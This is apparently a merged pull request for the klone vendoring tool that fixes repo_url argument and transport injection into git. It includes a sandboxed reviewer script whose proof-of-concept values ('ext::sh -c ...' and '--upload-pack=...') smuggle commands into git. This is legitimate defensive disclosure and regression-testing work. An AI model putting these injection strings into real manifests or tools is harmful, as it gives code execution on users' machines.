validate repo_url and harden git argv against option injection

[mladen-rusev-cyberark]

VC-53817 — argument / transport injection via repo_url

Branch: VC-53817.

A standalone reviewer script is embedded at the bottom of this description
(see verify.sh — click to expand). It is fully sandboxed under
/tmp/klone-vc-53817.*, makes no network calls, and is removed on exit.

The vulnerability

klone reads repo_url from klone.yaml as an opaque string and hands it
to git ls-remote and git clone as a positional argument. Git accepts
two URL shapes that are not really URLs:

1. ext::sh -c <cmd> — git's "external transport" helper runs <cmd>
   as the remote process. Default git config (protocol.ext.allow=user)
   permits it when the URL comes from the command line.
2. A value starting with - — git's option parser treats it as a flag.
   --upload-pack=<cmd> is honoured by both ls-remote and clone and
   runs <cmd> instead of the real git-upload-pack.

Either gives the manifest author arbitrary code execution as the invoking
user.

Three things were missing:

• No validation of repo_url before it reaches git.
• No -- end-of-options terminator before the URL positional.
• No explicit refusal of helper transports — the host's git default was
  trusted.

The fix

pkg/mod/index.go — ValidateRepoURL enforces an allow-list and shape
check before any git invocation. Rejects: empty, leading -, ::
substring (helper transports), and anything that is not
https:// / http:// / ssh:// / git:// / file:// / /abs/path /
scp-like user@host:path. Called at the top of the per-source cleanFn
in pkg/sync/sync.go.

pkg/download/git/clone.go —

• -- terminator inserted before repoURL in the git clone argv.
• -c protocol.ext.allow=never prepended to every git invocation, so
  the ext:: helper is denied regardless of the host's git config.
  (git checkout <hash> is deliberately not given a --, because
  there git would re-interpret the hash as a pathspec.)

pkg/download/git/hash.go — -- terminator inserted before repoURL in
the git ls-remote argv.

What we deliberately did not do

We did not set GIT_PROTOCOL_FROM_USER=0. That would have told git
"treat all URLs as not-from-user," which also denies file:// (and
several other protocols whose default is allow=user). file:// is a
legitimate transport for tests, on-disk mirrors, and local vendoring —
blocking it would break existing users. The scheme allow-list plus the
explicit -c protocol.ext.allow=never give us the same protection
without the collateral damage.

How to review

Prerequisites

• go (1.23+), git on PATH.
• This repo checked out at the PR branch.
• A local copy of the verification script. Expand the verify.sh block at
  the bottom of this description and save its contents to
  /tmp/verify-vc-53817.sh.

Step 1 — confirm the CVE exists on pre-fix klone

# from the klone repo root, on upstream/main (pre-fix)
git fetch upstream
git checkout upstream/main
go build -o /tmp/klone-prefix ./

bash /tmp/verify-vc-53817.sh /tmp/klone-prefix
echo "exit=$?"

Expected: exit code 1.

• Vector 1 (ext::): VULNERABLE or BLOCKED_BY_HOST depending on
  your git config. If your host already sets
  protocol.ext.allow=never, the disclosed vector is unfireable there;
  this is still printed as BLOCKED_BY_HOST (not credit to klone) so the
  exit code stays 1.
• Vector 2 (--upload-pack): VULNERABLE — /tmp/klone-vc-53817.*/markers/klone-pwned-optinject will exist after the run.

Step 2 — confirm the fix blocks both vectors

# on the PR branch (VC-53817)
git checkout VC-53817
go build -o /tmp/klone-patched ./

bash /tmp/verify-vc-53817.sh /tmp/klone-patched
echo "exit=$?"

Expected: both vectors BLOCKED by klone (repo_url validator rejected ...),
exit code 0.

Step 3 — run the regression tests

go test ./pkg/mod/...

Expected: all green. Notable:

• TestValidateRepoURL covers the validator directly — positive cases
  (https/http/ssh/git/file/abs/scp-like) and negative cases (ext::,
  --upload-pack=…, lone -uX, transport_helper::cmd, empty,
  relative path, bare hostname, javascript:).

Optional — positive smoke test with a real URL

A file:// sync (the scheme most likely to break if
GIT_PROTOCOL_FROM_USER=0 had been set) still works:

SB=$(mktemp -d); mkdir -p "$SB/srv" "$SB/project" "$SB/cache"
git init -q --bare "$SB/srv/repo.git"
d=$(mktemp -d); ( cd "$d" && git init -q && echo legit > f.txt && \
    git add . && git -c user.email=a@a -c user.name=a commit -qm a && \
    git push -q "$SB/srv/repo.git" HEAD:main )
H=$(git -C "$d" rev-parse HEAD)
cat > "$SB/project/klone.yaml" <<EOF
targets:
  vendored:
    - folder_name: x
      repo_url: file://$SB/srv/repo.git
      repo_ref: main
      repo_hash: $H
      repo_path: .
EOF
( cd "$SB/project" && KLONE_CACHE_DIR="$SB/cache" /tmp/klone-patched sync )
cat "$SB/project/vendored/x/f.txt"   # expect: legit
rm -rf "$SB"

Side-effect statement

The script creates everything under /tmp/klone-vc-53817.* (including
its own markers/ directory for the PoC payloads). The trap on exit
removes it (set KEEP_SANDBOX=1 to retain). No file outside that
sandbox is created, modified, or deleted at any point. The PoC payloads
write only inside the sandbox, never to /tmp/klone-pwned or other
fixed paths.

---

verify.sh — click to expand the standalone reviewer script

Save the block below to /tmp/verify-vc-53817.sh before running the
steps above.

#!/usr/bin/env bash
# CVEs/VC-53817/verify.sh
# Standalone verification of VC-53817 (repo_url argument/transport injection).
# Runs both vectors:
#   1. ext::sh -c <cmd>     — exploits git's helper transport
#   2. --upload-pack=<cmd>  — exploits git's option parser
# Exit 0 = klone blocks both vectors. Exit 1 = klone is vulnerable to either,
# or either vector was blocked by something other than klone's fix.
#
# Usage:
#   KLONE=/path/to/klone   bash verify.sh
#   bash verify.sh /path/to/klone
#
# Reviewer workflow:
#   1. Build klone from cert-manager/klone main (pre-fix) — expect VULNERABLE.
#   2. Build klone from the VC-53817 branch — expect BLOCKED.
#
# Side effects: every artifact is created inside a fresh sandbox under /tmp
# and removed on exit (set KEEP_SANDBOX=1 to retain). No file outside the
# sandbox is created, modified, or deleted.

set -u

KLONE="${KLONE:-${1:-}}"
if [[ -z "$KLONE" ]]; then
    echo "usage: KLONE=/path/to/klone $0   (or pass the path as \$1)" >&2
    exit 2
fi
if [[ ! -x "$KLONE" ]]; then
    echo "error: $KLONE is not an executable file" >&2
    exit 2
fi
if ! command -v git >/dev/null 2>&1; then
    echo "error: required tool 'git' not on PATH" >&2
    exit 2
fi

WORK="$(mktemp -d /tmp/klone-vc-53817.XXXXXX)"
if [[ "${KEEP_SANDBOX:-0}" != "1" ]]; then
    trap 'rm -rf "$WORK"' EXIT
fi

hr() { printf -- '─%.0s' {1..72}; printf '\n'; }
section() { hr; echo "### $*"; hr; }

section "VC-53817 — Environment"
echo "klone binary  : $KLONE"
"$KLONE" --version 2>/dev/null || echo "(klone --version returned non-zero; continuing)"
echo "git version   : $(git --version)"
echo "git protocol.ext.allow (host config): $(git config --get protocol.ext.allow || echo '(unset; default for the installed git)')"
echo "sandbox       : $WORK"
echo

mkdir -p "$WORK/markers"

############################################################
# Vector 1 — ext:: helper transport
############################################################
section "VC-53817 — Vector 1: ext:: helper transport"
SB1="$WORK/ext"
MARKER1="$WORK/markers/klone-pwned-ext"
mkdir -p "$SB1" "$SB1/cache"

# Unquoted heredoc: $MARKER1 interpolates here; \$IFS is preserved so the
# inner /bin/sh launched by git's ext-helper expands it at runtime.
cat > "$SB1/klone.yaml" <<EOF
targets:
  vendored:
    - folder_name: x
      repo_url: "ext::sh -c touch\$IFS${MARKER1}"
      repo_ref: main
      repo_hash: ""
      repo_path: .
EOF

( cd "$SB1" && KLONE_CACHE_DIR="$SB1/cache" "$KLONE" sync ) > "$SB1/run.log" 2>&1 || true

if [[ -e "$MARKER1" ]]; then
    RESULT_EXT=VULNERABLE
    echo "Result: VULNERABLE — marker $MARKER1 was created (helper transport executed)"
elif grep -q "helper transport" "$SB1/run.log" 2>/dev/null; then
    RESULT_EXT=BLOCKED
    echo "Result: BLOCKED by klone (repo_url validator rejected helper transport)"
else
    RESULT_EXT=BLOCKED_BY_HOST
    echo "Result: BLOCKED by host git (likely protocol.ext.allow=never), NOT by klone."
    echo "        This host cannot demonstrate the vulnerability; klone fix status is unverified here."
fi
echo

############################################################
# Vector 2 — --upload-pack option injection
############################################################
section "VC-53817 — Vector 2: --upload-pack option injection"
SB2="$WORK/optinject"
MARKER2="$WORK/markers/klone-pwned-optinject"
mkdir -p "$SB2" "$SB2/cache"

cat > "$SB2/klone.yaml" <<EOF
targets:
  vendored:
    - folder_name: x
      repo_url: "--upload-pack=touch ${MARKER2};true"
      repo_ref: main
      repo_hash: ""
      repo_path: .
EOF

( cd "$SB2" && KLONE_CACHE_DIR="$SB2/cache" "$KLONE" sync ) > "$SB2/run.log" 2>&1 || true

if [[ -e "$MARKER2" ]]; then
    RESULT_OPT=VULNERABLE
    echo "Result: VULNERABLE — marker $MARKER2 was created (option was parsed and executed)"
elif grep -q "starts with '-'" "$SB2/run.log" 2>/dev/null; then
    RESULT_OPT=BLOCKED
    echo "Result: BLOCKED by klone (repo_url validator rejected leading '-')"
else
    RESULT_OPT=BLOCKED_BY_HOST
    echo "Result: BLOCKED upstream of klone (host git or option parser refused)."
    echo "        This host cannot demonstrate the vulnerability; klone fix status is unverified here."
fi
echo

section "VC-53817 — Summary"
printf '  %-32s : %s\n' "Vector 1 (ext:: transport)" "$RESULT_EXT"
printf '  %-32s : %s\n' "Vector 2 (--upload-pack)"   "$RESULT_OPT"
echo
if [[ "${KEEP_SANDBOX:-0}" == "1" ]]; then
    echo "Sandbox preserved at: $WORK"
fi

exit_code=0
for r in "$RESULT_EXT" "$RESULT_OPT"; do
    case "$r" in
        BLOCKED) ;;
        *)       exit_code=1 ;;
    esac
done
exit "$exit_code"

[inteon]

/approve
/lgtm

[cert-manager-prow]

[APPROVALNOTIFIER] This PR is APPROVED

This pull-request has been approved by: inteon

The full list of commands accepted by this bot can be found here.

The pull request process is described here

Details

Needs approval from an approver in each of these files:

• OWNERS [inteon]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment